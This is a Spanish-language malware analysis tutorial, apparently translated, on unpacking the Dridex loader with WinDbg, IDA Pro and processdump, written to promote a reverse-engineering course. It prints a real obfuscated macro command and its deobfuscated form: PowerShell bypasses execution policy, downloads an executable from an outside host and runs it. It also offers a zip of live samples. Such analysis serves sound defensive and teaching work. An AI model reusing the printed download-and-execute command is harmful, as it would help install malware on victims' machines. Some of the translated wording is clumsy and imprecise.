Buenas noches amigos! En menos de un mes, el curso de
ingeniería inversa comenzará con nosotros, y en este sentido tradicionalmente compartimos material útil sobre el tema.
Algunos lectores tuvieron problemas para desempacar el gestor de arranque para Dridex (el que fue restablecido por la macro), por lo que hoy les mostraré una manera fácil de hacerlo. Otro problema que la gente no puede resolver y que yo no puedo resolver es el hecho de que las cadenas infecciosas de Dridex tienen una vida útil muy corta, lo que hace que la inversión sea casi imposible para la mayoría de las personas. Explicaré por qué.
La cadena de infección actual de Dridex tiene alrededor de 4 etapas:
- Un documento de Office que contiene una macro ejecuta un script de PowerShell.
- Un script de Powershell que descargará el gestor de arranque empaquetado desde un sitio pirateado o punto compartido y lo ejecutará.
- Un cargador de arranque empaquetado que se descomprime e inserta código en un proceso spoolsrv o svchost recién creado.
- Un proceso incrustado que se pondrá en contacto con el servidor del cargador para recuperar y ejecutar el archivo binario real del bot.

El problema para los analistas es que hay dos puntos de falla aquí: el sitio pirateado que aloja el gestor de arranque puede borrar o eliminar la cuenta sharepoint, o el servidor del gestor de arranque puede detenerse (cualquiera de ellos evitará una infección exitosa). Además, los servidores de carga a menudo admiten geofence (solo funcionan si su IP está en el país al que está destinada y no es una VPN), y tan pronto como el gestor de arranque se descarga públicamente, el grupo Dridex tiene la capacidad de ponerlo en la lista negra. bloqueando permanentemente a cualquier persona que lo ejecute para que no se ponga en contacto con ningún C2 (Servicios en la nube comercial).
Lo sorprendente de todos estos "fracasos" es que probablemente sean intencionales. La mayoría de las víctimas que reciben correo electrónico infectado lo abrirán dentro de unos días hábiles, después de lo cual la mayoría de las personas que abren el correo electrónico analizarán el malware, por lo que es útil que todo desaparezca en una semana.
Para que los lectores puedan practicar esta lección en la práctica,
hay un archivo zip que contiene un documento de oficina malicioso y un cargador empaquetado de la misma cadena, por lo que no hay necesidad de preocuparse por las URL muertas (contraseña: infectada). En cuanto a los servidores con geofence del gestor de arranque, no hay nada que pueda hacer al respecto, y
dado que el gestor de arranque ya ha sido retirado del mercado, se lo incluirá en la lista negra para iniciarlo (si no sabe cómo omitir la lista negra, siga esta lección en la nueva VM (máquina virtual) y tal vez cambie la IP después).
Obtener un cargador empaquetadoLo primero es lo primero, querrás abrir un documento malicioso en Word, pero aún no hagas clic en "Incluir contenido". Abra el depurador (como de costumbre, uso WinDbg), conéctelo a winword.exe, establezca un punto de interrupción en CreateProcessW, reanude el proceso y luego haga clic en "Habilitar contenido".

Se alcanzará un punto de interrupción casi instantáneamente con los nuevos patrones de Dridex (se pueden detectar algunas máquinas virtuales, por lo que si un punto de interrupción no funciona, considere enmascarar su máquina virtual).
Queremos descargar el primer y segundo parámetro CreateProcess (respectivamente, la ruta a la aplicación y los parámetros de la línea de comandos), podemos hacer esto con los siguientes comandos:
du / c100 poi (esp + 4)
du / c100 poi (esp + 8)
Nota: el comando du restablece una cadena Unicode que termina en cero, / c 100 establece el límite de la columna al máximo, y poi (esp + 4) lee la dirección apuntada por esp + 4. Resultados que obtuve:
Aplicación: C: \ Windows \ System32 \ cmd.exe
Parámetros: "C: \ Windows \ System32 \ cmd.exe" / cp ^ ower ^ she ^ ll -ex ^ ecutio ^ nPol ^ icy ByP ^ ass -NoP ^ rofile -com ^ mand (New-O ^ bject Net.Webclient ). ('Downl' + 'oadfile') .invoke ('ht' + 'tp: //'+'littlwnowern.top/lukaku/','C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD. exe '); starT-Process' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';
Aquí observamos cómo una macro maliciosa inicia cmd.exe con un comando para iniciar powershell, omitir la política de ejecución y luego cargar y ejecutar el archivo ejecutable. Si eliminamos la concatenación de cadenas y los caracteres que son solo ofuscación básica, obtenemos lo siguiente:
"C: \ Windows \ System32 \ cmd.exe" / c powershell -executionpolicy bypass -noprofile -command (New-Object Net.Webclient). ('Downloadfile'). Invoke (
'http://littlwnowern.top/lukaku/ ',' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ' ); inicio-Proceso' C: \ Users \ Admin \ AppData \ Local \ Temp \ GksagD.exe ';
Ahora podemos simplemente descargar manualmente el archivo exe de littlwnowern [.] Top / lukaku / (la url ahora está muerta, pero cargué el archivo binario en el archivo como "GksagD.exe.sample"), es un cargador lleno.
Desempacar el gestor de arranquePrimero necesitamos habilitar DEP (Prevención de Ejecución de Datos) para todas las aplicaciones, la razón de esto se aclarará más adelante. Para hacerlo, vaya a "Panel de control"> "Sistema y seguridad"> "Sistema"> "Configuración avanzada del sistema"> "Configuración" (en la sección "Rendimiento") -> "Prevención de ejecución de datos", luego habilite DEP para todos los programas.

A continuación, vamos a abrir el archivo exe en PE Explorer y establecer el indicador "Reubicación despojado" en el encabezado PE, lo que evitará que ASLR descargue el archivo ejecutable a una dirección diferente cada vez que se inicie, lo que simplifica la inversión.


Ahora guarde el archivo ejecutable y ábralo en IDA Pro.
Por lo general, los cargadores de Dridex crean el proceso svchost.exe o spoolsv.exe y se inyectan en él, por lo que sabemos que el código desempaquetado puede llamar a CreateProcess; Para verificar esto, establezca un punto de interrupción al final de CreateProcessW (en la declaración ret) y haga clic en ejecutar.

Una vez que se alcanza el punto de interrupción, debería ver que GksagD.exe ha creado un proceso en pausa llamado svchost.exe o spoolsv.exe, como se esperaba. Si damos un paso para volver de CreateProcessW al código que lo llamó, nos encontraremos con lo siguiente.

La IDA fragmentó las instrucciones, lo que significa que el código se ha cambiado desde que se lanzó el ejecutable, que generalmente es el resultado del desempaquetado (a menudo los empacadores de malware usan procesos huecos para escribir el código desempaquetado en otro proceso, los empacadores verdaderos desempaquetan el código en el mismo proceso).
Ahora sabemos que el código ejecutable principal se reemplaza en algún momento, podemos poner un punto de interrupción en el registro en la dirección actual, que se activará cuando cambie el código.

Después de eso, elimine todos los demás puntos de interrupción y reinicie el proceso.

Se llamó al punto de interrupción desde una dirección fuera de la sección principal de los archivos ejecutables, lo que significa que el empacador asignó algo de memoria y luego copió algo de código para ocuparse de reemplazar el archivo ejecutable principal.
Si miramos la memoria en Process Hacker, veremos que ahora es legible y grabable, pero no ejecutable, lo cual está bien porque significa que el empacador ya no usa este código.

Ahora sobre algunas conclusiones del nivel de Sherlock: sabemos que el código se ejecuta aquí más tarde, y la memoria no es ejecutable en este momento, entonces, quizás, en algún momento se volverá ejecutable.
La función utilizada para configurar la protección de memoria suele ser VirtualAlloc, VirtualAllocEx o NtProtectVirtualMemory. Si está familiarizado con los componentes internos de Windows, sabrá que tanto VirtualAlloc como VirtualAllocEx llamarán internamente a NtProtectVirtualMemory, así que aquí es donde establecemos el punto de interrupción.
Podríamos sentarnos y verificar la pila de llamadas cada vez que se llama a NtProtectVirtualMemory, esperar a que la dirección correspondiente se establezca como ejecutable, luego analizar el encabezado PE para encontrar un nuevo punto de entrada, o podríamos ser más inteligentes.
Vamos a establecer un punto de interrupción condicional en NtProtectVirtualMemory usando el siguiente script:
if (Dword(esp+0x10) == 0x20 || Dword(esp+0x10) == 0x40 || Dword(esp+0x10) == 0x10) { if (Dword(esp+4) == 0xFFFFFFFF) { if (Dword(Dword(esp+8)) >= 0x400000 && Dword(Dword(esp+8)) < 0x42e000) { PatchDword(esp+0x10, 0x04); } } } return 0;
Para hacer esto, vaya a NtProtectVirtualMemory y establezca un punto de interrupción en el primer byte, haga clic con el botón derecho> Cambiar punto de interrupción, luego haga clic en el botón "..." y pegue el script.
Este script se ejecutará cada vez que se llame a NtProtectVirtualMemory y hará lo siguiente:
- Asegúrese de que el parámetro de protección de la página (esp + 0x10) es 0x10, 0x20 o 0x40 (también conocido como PAGE_EXECUTE, PAGE_EXECUTRE_READ, PAGE_EXECUTE_READWRITE), lo que significa que la llamada cambia la protección de la página a ejecutable.
- Asegúrese de que la dirección de destino esté dentro del rango de la sección ejecutable principal (0x400000 - 0x42e000).
- Cambie la configuración de seguridad a 0x04 (no ejecutable).
- Devuelve 0 (reanudar la ejecución en lugar de interrumpir al depurador).
Corramos y veamos qué pasa.

¡Excepción de infracción de acceso! Tómese un tiempo para disfrutar el momento, ya que este es probablemente el único error grave de infracción de acceso que haya visto ... pero ¿por qué es bueno?
Nuestro script de punto de interrupción en NtProtectVirtualMemory configuró toda la memoria como no ejecutable cuando el empaquetador intentó establecerla como ejecutable. La excepción significa que todo lo que el empaquetador escribió en la memoria ahora se escribe correctamente y está intentando llamar a algo en esta memoria. Si tenemos suerte, lo que el empaquetador escribió en la memoria es el gestor de arranque desempaquetado, y la dirección a la que intentaba llamar es el punto de entrada, ¿verdad?
Para hacer esto, utilizaremos una herramienta increíble llamada processdump (
enlace de descarga ), que descarga cualquier imagen exe o dll cargada en la memoria del proceso y la vuelve a empaquetar en archivos .exe o .dll.
use "pd32.exe -pid" para volcar el proceso.
use "pd32.exe -pid <Id. de proceso>" para descargar el proceso.

El número al final del nombre del archivo es la dirección base de la imagen en la memoria, por lo que GksagD_exe_GksagD.exe_400000.exe será el mismo que el empaquetador asignado en lugar del antiguo ejecutable, por lo que lo veremos en la IDA.

La dirección del punto de entrada es la misma que la dirección de excepción, ¡es un ejecutable desempaquetado!
Consejos inversosEl gestor de arranque es complicado porque todas las cadenas están encriptadas y no hay importación, pero los métodos que describí en detalle en mis manuales de Dridex también funcionarán en el gestor de arranque.
Echa un vistazo:
https://www.malwaretech.com/2016/04/lets-analyze-dridex-part-2.htmly
https://www.malwaretech.com/2016/05/lets-analyze-dridex-part-3.htmlNota: el ejecutable del gestor de arranque es multipropósito (este es el código que incrusta svchost / spoolsv y el código que incrusta svchost / spoolsv). Si desea invertir la parte de inyección del gestor de arranque, simplemente ábralo en la IDA y ejecútelo. Si desea revertir la parte de inicio, debe copiarla en system32 y ejecutarla desde allí (tenga cuidado de que en ambos casos el gestor de arranque se eliminará solo después de ejecutarse).
Si encuentra útil el material, agregue un plus, escriba comentarios y asegúrese de inscribirse en
una lección abierta que tendrá lugar hoy.